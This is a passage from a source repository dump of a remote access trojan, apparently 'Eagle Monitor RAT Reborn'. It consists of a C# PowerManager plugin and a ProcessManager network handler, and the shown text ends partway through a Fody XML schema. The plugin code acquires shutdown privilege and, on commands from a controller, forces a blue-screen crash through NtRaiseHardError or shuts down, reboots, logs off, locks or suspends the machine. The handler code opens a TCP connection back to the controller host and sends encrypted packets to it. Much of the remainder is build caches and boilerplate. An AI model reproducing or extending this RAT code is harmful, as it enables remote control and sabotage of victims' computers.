ResponseAbort =                     2,\n            ResponseCancel =                    3,\n            ResponseIgnore =                    4,\n            ResponseNo =                        5,\n            ResponseOk =                        6,\n            ResponseRetry =                     7,\n            ResponseYes =                       8\n        }\n\n\n        [DllImport(ntdll)]\n\t\tinternal static extern NTSTATUS RtlAdjustPrivilege(RTL_PRIVILEGES privilege, bool bEnablePrivilege, bool IsThreadPrivilege, out bool PreviousValue);\n        [DllImport(ntdll)]\n        internal static extern NTSTATUS NtRaiseHardError(uint ErrorStatus, uint NumberOfParameters, uint UnicodeStringParameterMask, IntPtr Parameters, HARDERROR_RESPONSE_OPTION ValidResponseOption, out HARDERROR_RESPONSE Response);\n        #endregion\n\n        #region \"user32\"\n        private const string user32 = \"user32.dll\";\n\n        //https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-exitwindowsex\n        //https://docs.microsoft.com/en-us/windows/win32/shutdown/system-shutdown-reason-codes\n        public enum EXIT_WINDOWS_FLAGS : uint\n        {\n            EWX_HYBRID_SHUTDOWN = 0x00400000,\n            EWX_LOGOFF = 0x00000000,\n            EWX_POWEROFF = 0x00000008,\n            EWX_REBOOT = 0x00000002,\n            EWX_RESTARTAPPS = 0x00000040,\n            EWX_SHUTDOWN = 0x00000001,\n\n            EWX_FORCE = 0x00000004,\n            EWX_FORCEIFHUNG = 0x00000010\n        }\n\n        public enum EXIT_WINDOWS_REASON : uint\n        {\n            SHTDN_REASON_MAJOR_APPLICATION = 0x00040000,\n            SHTDN_REASON_MAJOR_HARDWARE = 0x00010000,\n            SHTDN_REASON_MAJOR_LEGACY_API = 0x00070000,\n            SHTDN_REASON_MAJOR_OPERATINGSYSTEM = 0x00020000,\n            SHTDN_REASON_MAJOR_OTHER = 0x00000000,\n            SHTDN_REASON_MAJOR_POWER = 0x00060000,\n            SHTDN_REASON_MAJOR_SOFTWARE = 0x00030000,\n            SHTDN_REASON_MAJOR_SYSTEM = 0x00050000,\n\n            SHTDN_REASON_MINOR_BLUESCREEN = 0x0000000F,\n            SHTDN_REASON_MINOR_CORDUNPLUGGED = 0x0000000b,\n            SHTDN_REASON_MINOR_DISK = 0x00000007,\n            SHTDN_REASON_MINOR_ENVIRONMENT = 0x0000000c,\n            SHTDN_REASON_MINOR_HARDWARE_DRIVER = 0x0000000d,\n            SHTDN_REASON_MINOR_HOTFIX = 0x00000011,\n            SHTDN_REASON_MINOR_HOTFIX_UNINSTALL = 0x00000017,\n            SHTDN_REASON_MINOR_HUNG = 0x00000005,\n            SHTDN_REASON_MINOR_INSTALLATION = 0x00000002,\n            SHTDN_REASON_MINOR_MAINTENANCE = 0x00000001,\n            SHTDN_REASON_MINOR_MMC = 0x00000019,\n            SHTDN_REASON_MINOR_NETWORK_CONNECTIVITY = 0x00000014,\n            SHTDN_REASON_MINOR_NETWORKCARD = 0x00000009,\n            SHTDN_REASON_MINOR_OTHER = 0x00000000,\n            SHTDN_REASON_MINOR_OTHERDRIVER = 0x0000000e,\n            SHTDN_REASON_MINOR_POWER_SUPPLY = 0x0000000a,\n            SHTDN_REASON_MINOR_PROCESSOR = 0x00000008,\n            SHTDN_REASON_MINOR_RECONFIG = 0x00000004,\n            SHTDN_REASON_MINOR_SECURITY = 0x00000013,\n            SHTDN_REASON_MINOR_SECURITYFIX = 0x00000012,\n            SHTDN_REASON_MINOR_SECURITYFIX_UNINSTALL = 0x00000018,\n            SHTDN_REASON_MINOR_SERVICEPACK = 0x00000010,\n            SHTDN_REASON_MINOR_SERVICEPACK_UNINSTALL = 0x00000016,\n            SHTDN_REASON_MINOR_TERMSRV = 0x00000020,\n            SHTDN_REASON_MINOR_UNSTABLE = 0x00000006,\n            SHTDN_REASON_MINOR_UPGRADE = 0x00000003,\n            SHTDN_REASON_MINOR_WMI = 0x00000015,\n\n            SHTDN_REASON_FLAG_USER_DEFINED = 0x40000000,\n            SHTDN_REASON_FLAG_PLANNED = 0x80000000\n        }\n\n        [DllImport(user32)]\n        internal static extern bool ExitWindowsEx(EXIT_WINDOWS_FLAGS uFlags, EXIT_WINDOWS_REASON dwReason);\n        [DllImport(user32)]\n        internal static extern bool LockWorkStation();\n        #endregion\n\n        #region \"powrprof\"\n        private const string powrprof = \"PowrProf.dll\";\n        [DllImport(powrprof)]\n        internal static extern bool SetSuspendState(bool bHibernate, bool bForce, bool bWakeupEventsDisabled);\n        #endregion\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Plugins/PowerManager/Launch.cs",
    "content": "﻿using PacketLib;\nusing PacketLib.Packet;\nusing PacketLib.Utils;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Plugin\n{\n    public static class Launch\n    {\n        public static void Main(LoadingAPI loadingAPI)\n        {\n            switch (loadingAPI.CurrentPacket.PacketType) \n            {\n                case PacketType.POWER_SHUTDOWN:\n                    PowerManager.ShutDown();\n                    break;\n\n                case PacketType.POWER_REBOOT:\n                    PowerManager.Reboot();\n                    break;\n\n                case PacketType.POWER_LOG_OUT:\n                    PowerManager.LogOut();\n                    break;\n\n                case PacketType.POWER_BSOD:\n                    PowerManager.BSOD();\n                    break;\n\n                case PacketType.POWER_LOCK_WORKSTATION:\n                    PowerManager.LockWorkstation();\n                    break;\n\n                case PacketType.POWER_SUSPEND:\n                    PowerManager.Suspend();\n                    break;\n\n                case PacketType.POWER_HIBERNATE:\n                    PowerManager.Hibernate();\n                    break;\n\n                default:\n                    return;\n            }\n            Miscellaneous.CleanMemory();\n        }\n    }\n}"
  },
  {
    "path": "Remote Access Tool/Plugins/PowerManager/PowerManager.cs",
    "content": "﻿using System;\nusing static Plugin.Imports;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Plugin\n{\n    internal static class PowerManager\n    {\n        private const uint errorCode = 0xC0000005;\n        private static NTSTATUS seShutdownStatus { get; set; }\n        static PowerManager() \n        {\n            bool t1 = false;\n            seShutdownStatus = RtlAdjustPrivilege(RTL_PRIVILEGES.SeShutdownPrivilege, true, false, out t1);\n        }\n\n        internal static void ShutDown()\n        {\n            if (seShutdownStatus == NTSTATUS.STATUS_SUCCESS)\n            {\n                ExitWindowsEx\n                (\n                    EXIT_WINDOWS_FLAGS.EWX_SHUTDOWN\n                    | EXIT_WINDOWS_FLAGS.EWX_FORCE,\n                    EXIT_WINDOWS_REASON.SHTDN_REASON_MAJOR_LEGACY_API\n                );\n            }\n        }\n\n        internal static void Reboot() \n        {\n            if (seShutdownStatus == NTSTATUS.STATUS_SUCCESS)\n            {\n                ExitWindowsEx\n                (\n                    EXIT_WINDOWS_FLAGS.EWX_REBOOT\n                    | EXIT_WINDOWS_FLAGS.EWX_FORCE,\n                    EXIT_WINDOWS_REASON.SHTDN_REASON_MAJOR_LEGACY_API\n                );\n            }\n        }\n\n        internal static void LogOut() \n        {\n            if (seShutdownStatus == NTSTATUS.STATUS_SUCCESS)\n            {\n                ExitWindowsEx\n                (\n                    EXIT_WINDOWS_FLAGS.EWX_LOGOFF\n                    | EXIT_WINDOWS_FLAGS.EWX_FORCE,\n                    EXIT_WINDOWS_REASON.SHTDN_REASON_MAJOR_LEGACY_API\n                );\n            }\n        }\n\n        internal static void BSOD() \n        {\n            if (seShutdownStatus == NTSTATUS.STATUS_SUCCESS) \n            {\n                HARDERROR_RESPONSE response = HARDERROR_RESPONSE.ResponseNotHandled;\n                NtRaiseHardError(errorCode, 0, 0, IntPtr.Zero, HARDERROR_RESPONSE_OPTION.OptionShutdownSystem, out response);\n                /*uint t2 = 0;\n                NtRaiseHardError(errorCode, 0, 0, IntPtr.Zero, 6, out t2);*/\n            }\n        }\n\n        internal static void LockWorkstation() \n        {\n            LockWorkStation();\n        }\n\n        internal static void Suspend() \n        {\n            if (seShutdownStatus == NTSTATUS.STATUS_SUCCESS)\n            {\n                SetSuspendState(false, true, true);\n            }\n        }\n\n        internal static void Hibernate()\n        {\n            if (seShutdownStatus == NTSTATUS.STATUS_SUCCESS)\n            {\n                SetSuspendState(true, true, true);\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Plugins/PowerManager/PowerManager.csproj",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project ToolsVersion=\"15.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\n  <Import Project=\"..\\..\\..\\packages\\Costura.Fody.4.1.0\\build\\Costura.Fody.props\" Condition=\"Exists('..\\..\\..\\packages\\Costura.Fody.4.1.0\\build\\Costura.Fody.props')\" />\n  <Import Project=\"$(MSBuildExtensionsPath)\\$(MSBuildToolsVersion)\\Microsoft.Common.props\" Condition=\"Exists('$(MSBuildExtensionsPath)\\$(MSBuildToolsVersion)\\Microsoft.Common.props')\" />\n  <PropertyGroup>\n    <Configuration Condition=\" '$(Configuration)' == '' \">Debug</Configuration>\n    <Platform Condition=\" '$(Platform)' == '' \">AnyCPU</Platform>\n    <ProjectGuid>{DCD28797-E01E-48F7-942C-6E01DF1DD9E9}</ProjectGuid>\n    <OutputType>Library</OutputType>\n    <AppDesignerFolder>Properties</AppDesignerFolder>\n    <RootNamespace>Plugin</RootNamespace>\n    <AssemblyName>PowerManager</AssemblyName>\n    <TargetFrameworkVersion>v4.5</TargetFrameworkVersion>\n    <FileAlignment>512</FileAlignment>\n    <Deterministic>true</Deterministic>\n    <NuGetPackageImportStamp>\n    </NuGetPackageImportStamp>\n  </PropertyGroup>\n  <PropertyGroup Condition=\" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' \">\n    <DebugSymbols>false</DebugSymbols>\n    <DebugType>none</DebugType>\n    <Optimize>false</Optimize>\n    <OutputPath>..\\..\\bin\\Debug\\Plugins\\</OutputPath>\n    <DefineConstants>DEBUG;TRACE</DefineConstants>\n    <ErrorReport>prompt</ErrorReport>\n    <WarningLevel>4</WarningLevel>\n  </PropertyGroup>\n  <PropertyGroup Condition=\" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' \">\n    <DebugType>none</DebugType>\n    <Optimize>true</Optimize>\n    <OutputPath>..\\..\\bin\\Release\\Plugins\\</OutputPath>\n    <DefineConstants>TRACE</DefineConstants>\n    <ErrorReport>prompt</ErrorReport>\n    <WarningLevel>4</WarningLevel>\n  </PropertyGroup>\n  <ItemGroup>\n    <Reference Include=\"Costura, Version=4.1.0.0, Culture=neutral, PublicKeyToken=9919ef960d84173d, processorArchitecture=MSIL\">\n      <HintPath>..\\..\\..\\packages\\Costura.Fody.4.1.0\\lib\\net40\\Costura.dll</HintPath>\n    </Reference>\n    <Reference Include=\"System\" />\n  </ItemGroup>\n  <ItemGroup>\n    <Compile Include=\"Imports.cs\" />\n    <Compile Include=\"Launch.cs\" />\n    <Compile Include=\"PowerManager.cs\" />\n    <Compile Include=\"Properties\\AssemblyInfo.cs\" />\n  </ItemGroup>\n  <ItemGroup>\n    <ProjectReference Include=\"..\\..\\Utils\\PacketLib\\PacketLib.csproj\">\n      <Project>{81e3752a-0ac1-4eb4-8b5f-81eea8ffb0ff}</Project>\n      <Name>PacketLib</Name>\n    </ProjectReference>\n  </ItemGroup>\n  <Import Project=\"$(MSBuildToolsPath)\\Microsoft.CSharp.targets\" />\n</Project>"
  },
  {
    "path": "Remote Access Tool/Plugins/PowerManager/Properties/AssemblyInfo.cs",
    "content": "﻿using System.Reflection;\nusing System.Runtime.CompilerServices;\nusing System.Runtime.InteropServices;\n\n// Les informations générales relatives à un assembly dépendent de\n// l'ensemble d'attributs suivant. Changez les valeurs de ces attributs pour modifier les informations\n// associées à un assembly.\n[assembly: AssemblyTitle(\"PowerManager\")]\n[assembly: AssemblyDescription(\"\")]\n[assembly: AssemblyConfiguration(\"\")]\n[assembly: AssemblyCompany(\"\")]\n[assembly: AssemblyProduct(\"PowerManager\")]\n[assembly: AssemblyCopyright(\"Arsium © 2022\")]\n[assembly: AssemblyTrademark(\"\")]\n[assembly: AssemblyCulture(\"\")]\n\n// L'affectation de la valeur false à ComVisible rend les types invisibles dans cet assembly\n// aux composants COM. Si vous devez accéder à un type dans cet assembly à partir de\n// COM, affectez la valeur true à l'attribut ComVisible sur ce type.\n[assembly: ComVisible(false)]\n\n// Le GUID suivant est pour l'ID de la typelib si ce projet est exposé à COM\n[assembly: Guid(\"dcd28797-e01e-48f7-942c-6e01df1dd9e9\")]\n\n// Les informations de version pour un assembly se composent des quatre valeurs suivantes :\n//\n//      Version principale\n//      Version secondaire\n//      Numéro de build\n//      Révision\n//\n// Vous pouvez spécifier toutes les valeurs ou indiquer les numéros de build et de révision par défaut\n// en utilisant '*', comme indiqué ci-dessous :\n// [assembly: AssemblyVersion(\"1.0.*\")]\n[assembly: AssemblyVersion(\"3.2.4.0\")]\n[assembly: AssemblyFileVersion(\"3.2.4.0\")]\n"
  },
  {
    "path": "Remote Access Tool/Plugins/PowerManager/obj/Debug/.NETFramework,Version=v4.5.AssemblyAttributes.cs",
    "content": "// <autogenerated />\nusing System;\nusing System.Reflection;\n[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(\".NETFramework,Version=v4.5\", FrameworkDisplayName = \".NET Framework 4.5\")]\n"
  },
  {
    "path": "Remote Access Tool/Plugins/PowerManager/obj/Debug/PowerManager.csproj.CoreCompileInputs.cache",
    "content": "a4baae754877444d0cb37ee3614e7b96c7900bd0\n"
  },
  {
    "path": "Remote Access Tool/Plugins/PowerManager/obj/Debug/PowerManager.csproj.FileListAbsolute.txt",
    "content": "E:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\PowerManager\\obj\\Debug\\PowerManager.csproj.AssemblyReference.cache\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\PowerManager\\obj\\Debug\\PowerManager.csproj.CoreCompileInputs.cache\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\bin\\Debug\\Plugins\\PowerManager.dll\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\PowerManager\\obj\\Debug\\PowerManager.csproj.Fody.CopyLocal.cache\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\PowerManager\\obj\\Debug\\PowerManager.dll\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\bin\\Debug\\Plugins\\PowerManager.dll\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\PowerManager\\obj\\Debug\\PowerManager.csproj.AssemblyReference.cache\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\PowerManager\\obj\\Debug\\PowerManager.csproj.CoreCompileInputs.cache\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\PowerManager\\obj\\Debug\\PowerManager.csproj.Fody.CopyLocal.cache\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\PowerManager\\obj\\Debug\\PowerManager.dll\n"
  },
  {
    "path": "Remote Access Tool/Plugins/PowerManager/obj/Debug/PowerManager.csproj.Fody.CopyLocal.cache",
    "content": ""
  },
  {
    "path": "Remote Access Tool/Plugins/PowerManager/obj/Debug/build.force",
    "content": ""
  },
  {
    "path": "Remote Access Tool/Plugins/PowerManager/obj/Release/.NETFramework,Version=v4.5.AssemblyAttributes.cs",
    "content": "// <autogenerated />\nusing System;\nusing System.Reflection;\n[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(\".NETFramework,Version=v4.5\", FrameworkDisplayName = \".NET Framework 4.5\")]\n"
  },
  {
    "path": "Remote Access Tool/Plugins/PowerManager/obj/Release/PowerManager.csproj.CoreCompileInputs.cache",
    "content": "5e788d489c75857c6a9e32e0f8f160b99bfcd632\n"
  },
  {
    "path": "Remote Access Tool/Plugins/PowerManager/obj/Release/PowerManager.csproj.FileListAbsolute.txt",
    "content": "D:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\bin\\Release\\Plugins\\PowerManager.dll\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\PowerManager\\obj\\Release\\PowerManager.csproj.AssemblyReference.cache\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\PowerManager\\obj\\Release\\PowerManager.csproj.CoreCompileInputs.cache\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\PowerManager\\obj\\Release\\PowerManager.csproj.Fody.CopyLocal.cache\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\PowerManager\\obj\\Release\\PowerManager.dll\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\bin\\Release\\Plugins\\PowerManager.dll\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\PowerManager\\obj\\Release\\PowerManager.csproj.AssemblyReference.cache\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\PowerManager\\obj\\Release\\PowerManager.csproj.CoreCompileInputs.cache\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\PowerManager\\obj\\Release\\PowerManager.csproj.Fody.CopyLocal.cache\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\PowerManager\\obj\\Release\\PowerManager.dll\nC:\\Users\\arsium\\source\\repos\\Eagle Monitor RAT Reborn\\Plugins\\PowerManager\\obj\\Release\\PowerManager.dll\nC:\\Users\\arsium\\source\\repos\\Eagle Monitor RAT Reborn\\bin\\Release\\Plugins\\PowerManager.dll\nC:\\Users\\arsium\\source\\repos\\Eagle Monitor RAT Reborn\\Plugins\\PowerManager\\obj\\Release\\PowerManager.csproj.AssemblyReference.cache\nC:\\Users\\arsium\\source\\repos\\Eagle Monitor RAT Reborn\\Plugins\\PowerManager\\obj\\Release\\PowerManager.csproj.CoreCompileInputs.cache\nC:\\Users\\arsium\\source\\repos\\Eagle Monitor RAT Reborn\\Plugins\\PowerManager\\obj\\Release\\PowerManager.csproj.CopyComplete\nC:\\Eagle Monitor RAT Reborn\\bin\\Release\\Plugins\\PowerManager.dll\nC:\\Eagle Monitor RAT Reborn\\Plugins\\PowerManager\\obj\\Release\\PowerManager.csproj.AssemblyReference.cache\nC:\\Eagle Monitor RAT Reborn\\Plugins\\PowerManager\\obj\\Release\\PowerManager.csproj.CoreCompileInputs.cache\nC:\\Eagle Monitor RAT Reborn\\Plugins\\PowerManager\\obj\\Release\\PowerManager.csproj.CopyComplete\nC:\\Eagle Monitor RAT Reborn\\Plugins\\PowerManager\\obj\\Release\\PowerManager.dll\nC:\\Users\\arsium\\Desktop\\$$$$$\\Eagle Monitor RAT Reborn\\bin\\Release\\Plugins\\PowerManager.dll\nC:\\Users\\arsium\\Desktop\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\PowerManager\\obj\\Release\\PowerManager.csproj.AssemblyReference.cache\nC:\\Users\\arsium\\Desktop\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\PowerManager\\obj\\Release\\PowerManager.csproj.CoreCompileInputs.cache\nC:\\Users\\arsium\\Desktop\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\PowerManager\\obj\\Release\\PowerManager.csproj.CopyComplete\nC:\\Users\\arsium\\Desktop\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\PowerManager\\obj\\Release\\PowerManager.dll\nF:\\$$$$$\\Eagle Monitor RAT Reborn\\bin\\Release\\Plugins\\PowerManager.dll\nF:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\PowerManager\\obj\\Release\\PowerManager.csproj.AssemblyReference.cache\nF:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\PowerManager\\obj\\Release\\PowerManager.csproj.CoreCompileInputs.cache\nF:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\PowerManager\\obj\\Release\\PowerManager.csproj.CopyComplete\nF:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\PowerManager\\obj\\Release\\PowerManager.dll\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\bin\\Release\\Plugins\\PowerManager.dll\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\PowerManager\\obj\\Release\\PowerManager.csproj.AssemblyReference.cache\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\PowerManager\\obj\\Release\\PowerManager.csproj.CoreCompileInputs.cache\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\PowerManager\\obj\\Release\\PowerManager.csproj.CopyComplete\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\PowerManager\\obj\\Release\\PowerManager.dll\n"
  },
  {
    "path": "Remote Access Tool/Plugins/PowerManager/obj/Release/PowerManager.csproj.Fody.CopyLocal.cache",
    "content": ""
  },
  {
    "path": "Remote Access Tool/Plugins/PowerManager/obj/Release/_IsIncrementalBuild",
    "content": "obj\\Release\\\\_IsIncrementalBuild\n"
  },
  {
    "path": "Remote Access Tool/Plugins/ProcessManager/ClientHandler.cs",
    "content": "﻿using PacketLib;\nusing PacketLib.Utils;\nusing System;\nusing System.IO;\nusing System.Net.Sockets;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Plugin\n{\n    internal class ClientHandler : IDisposable\n    {\n        public Host host { get; set; }\n        private Socket socket { get; set; }\n        public bool Connected { get; set; }\n        public string HWID { get; set; }\n        public string baseIp { get; set; }\n        public string key { get; set; }\n\n\n        public delegate bool ConnectAsync();\n        private delegate int SendDataAsync(IPacket data);\n\n\n        public ConnectAsync connectAsync;\n        private readonly SendDataAsync sendDataAsync;\n\n\n        public ClientHandler(Host host, string key) : base()\n        {\n            this.host = host;\n            this.key = key;\n            sendDataAsync = new SendDataAsync(SendData);\n        }\n\n\n        public void ConnectStart()\n        {\n            connectAsync = new ConnectAsync(Connect);\n            connectAsync.BeginInvoke(new AsyncCallback(EndConnect), null);\n        }\n\n        private bool Connect()\n        {\n            try\n            {\n                socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);\n                socket.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.KeepAlive, true);\n                socket.Connect(host.host, host.port);\n                return true;\n            }\n            catch { }\n            return false;\n        }\n        public void EndConnect(IAsyncResult ar)\n        {\n            Connected = connectAsync.EndInvoke(ar);\n\n            if (!Connected)\n            {\n                ConnectStart();\n            }\n        }\n\n        public void SendPacket(IPacket packet)\n        {\n            if (Connected)\n                sendDataAsync.BeginInvoke(packet, new AsyncCallback(SendDataCompleted), null);\n        }\n        private int SendData(IPacket data)\n        {\n            byte[] encryptedData = data.SerializePacket(this.key);\n\n            int total = 0;\n            int size = encryptedData.Length;\n            int datalft = size;\n            byte[] header = new byte[5];\n\n            byte[] temp = BitConverter.GetBytes(size);\n\n            header[0] = temp[0];\n            header[1] = temp[1];\n            header[2] = temp[2];\n            header[3] = temp[3];\n            header[4] = (byte)data.PacketType;\n\n            lock (socket)\n            {\n                try\n                {\n\n                    socket.Poll(-1, SelectMode.SelectWrite);\n                    int sent = socket.Send(header);\n\n                    if (size > 1000000)\n                    {\n                        using (MemoryStream memoryStream = new MemoryStream(encryptedData))\n                        {\n                            int read = 0;\n                            memoryStream.Position = 0;\n                            byte[] chunk = new byte[50 * 1000];\n                            while ((read = memoryStream.Read(chunk, 0, chunk.Length)) > 0)\n                            {\n                                socket.Send(chunk, 0, read, SocketFlags.None);\n                            }\n                        }\n                    }\n                    else\n                    {\n                        while (total < size)\n                        {\n                            sent = socket.Send(encryptedData, total, size, SocketFlags.None);\n                            total += sent;\n                            datalft -= sent;\n                        }\n                    }\n                    return size;\n\n                }\n                catch (Exception)\n                {\n                    Connected = false;\n                    return 0;\n                }\n            }\n        }\n\n        private void SendDataCompleted(IAsyncResult ar)\n        {\n            int length = sendDataAsync.EndInvoke(ar);\n\n            if (Connected)\n            {\n                if (length != 0)//TODO : LOGS\n                {\n                    //MessageBox.Show(\"Data sent ! + length = \" + length.ToString());\n                }\n                else \n                {\n                    //MessageBox.Show(\"Error while sending data + length =\" + length.ToString());\n                }\n\n            }\n            this.Dispose();\n        }\n\n        public void Dispose()\n        {\n            socket.Close();\n            socket.Dispose();\n            socket = null;\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Plugins/ProcessManager/FodyWeavers.xml",
    "content": "﻿<Weavers xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:noNamespaceSchemaLocation=\"FodyWeavers.xsd\">\n  <Costura />\n</Weavers>"
  },
  {
    "path": "Remote Access Tool/Plugins/ProcessManager/FodyWeavers.xsd",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<xs:schema xmlns:xs=\"http://www.w3.org/2001/XMLSchema\">\n  <!-- This file was generated by Fody. Manual changes to this file will be lost when your project is rebuilt. -->\n  <xs:element name=\"Weavers\">\n    <xs:complexType>\n      <xs:all>\n        <xs:element name=\"Costura\" minOccurs=\"0\" maxOccurs=\"1\">\n          <xs:complexType>\n            <xs:all>\n              <xs:element minOccurs=\"0\" maxOccurs=\"1\" name=\"ExcludeAssemblies\" type=\"xs:string\">\n                <xs:annotation>\n                  <xs:documentation>A list of assembly names to exclude from the default action of \"embed all Copy Local references\", delimited with line breaks</xs:documentation>\n                </xs:annotation>\n              </xs:element>\n              <xs:element minOccurs=\"0\" maxOccurs=\"1\" name=\"IncludeAssemblies\" type=\"xs:string\">\n                <xs:annotation>\n                  <xs:documentation>A list of assembly names to include from the default action of \"embed all Copy Local references\", delimited with line breaks.</xs:documentation>\n                </xs:annotation>\n              </xs:element>\n              <xs:element minOccurs=\"0\" maxOccurs=\"1\" name=\"Unmanaged32Assemblies\" type=\"xs:string\">\n                <xs:annotation>\n                  <xs:documentation>A list of unmanaged 32 bit assembly names to include, delimited with line breaks.</xs:documentation>\n                </xs:annotation>\n              </xs:element>\n              <xs:element minOccurs=\"0\" maxOccurs=\"1\" name=\"Unmanaged64Assemblies\" type=\"xs:string\">\n                <xs:annotation>\n                  <xs:documentation>A list of unmanaged 64 bit assembly names to include, delimited with line breaks.</xs:documentation>\n                </xs:annotation>\n              </xs:element>\n              <xs:element minOccurs=\"0\" maxOccurs=\"1\" name=\"PreloadOrder\" type=\"xs:string\">\n                <xs:annotation>\n                  <xs:documentation>The order of preloaded assemblies, delimited with line breaks.</xs:documentation>\n                </xs:annotation>\n              </xs:element>\n            </xs:all>\n            <xs:attribute name=\"CreateTemporaryAssemblies\" type=\"xs:boolean\">\n              <xs:annotation>\n                <xs:documentation>This will copy embedded files to disk before loading them into memory. This is helpful for some scenarios that expected an assembly to be loaded from a physical file.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"IncludeDebugSymbols\" type=\"xs:boolean\">\n              <xs:annotation>\n                <xs:documentation>Controls if .pdbs for reference assemblies are also embedded.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"DisableCompression\" type=\"xs:boolean\">\n              <xs:annotation>\n                <xs:documentation>Embedded assemblies are compressed by default, and uncompressed when they are loaded. You can turn compression off with this option.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"DisableCleanup\" type=\"xs:boolean\">\n              <xs:annotation>\n                <xs:documentation>As part of Costura, embedded assemblies are no longer included as part of the build. This cleanup can be turned off.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"LoadAtModuleInit\" type=\"xs:boolean\">\n              <xs:annotation>\n                <xs:documentation>Costura by default will load as part of the module initialization. This flag disables that behavior. Make sure you call CosturaUtility.Initialize() somewhere in your code.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"IgnoreSatelliteAssemblies\" type=\"xs:boolean\">\n              <xs:annotation>\n                <xs:documentation>Costura will by default use assemblies with a name like 'resources.dll' as a satellite resource and prepend the output path. This flag disables that behavior.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"ExcludeAssemblies\" type=\"xs:string\">\n              <xs:annotation>\n                <xs:documentation>A list of assembly names to exclude from the default action of \"embed all Copy Local references\", delimited with |</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"IncludeAssemblies\" type=\"xs:string\">\n              <xs:annotation>\n                <xs:documentation>A list of assembly names to include from the default action of \"embed all Copy Local references\", delimited with |.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"Unmanaged32Assemblies\" type=\"xs:string\">\n              <xs:annotation>\n                <xs:documentation>A list of unmanaged 32 bit assembly names to include, delimited with |.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"Unmanaged64Assemblies\" type=\"xs:string\">\n              <xs:annotation>\n                <xs:documentation>A list of unmanaged 64 bit assembly names to include, delimited with |.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"PreloadOrder\" type=\"xs:string\">\n              <xs:annotation>\n                <xs:documentation>The order of preloaded assemblies, delimited with |.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n          </xs:complexType>\n        </xs:element>\n      </xs:all>\n      <xs:attribute name=\"VerifyAssembly\" type=\"xs:boolean\">\n        <xs:annotation>\n          <xs:documentation>'true' to run assembly verification (PEVerify) on the target assembly after all weavers have been executed.</xs:documentation>\n        </xs:annotation>\n      </xs:attribute>\n      <xs:attribute 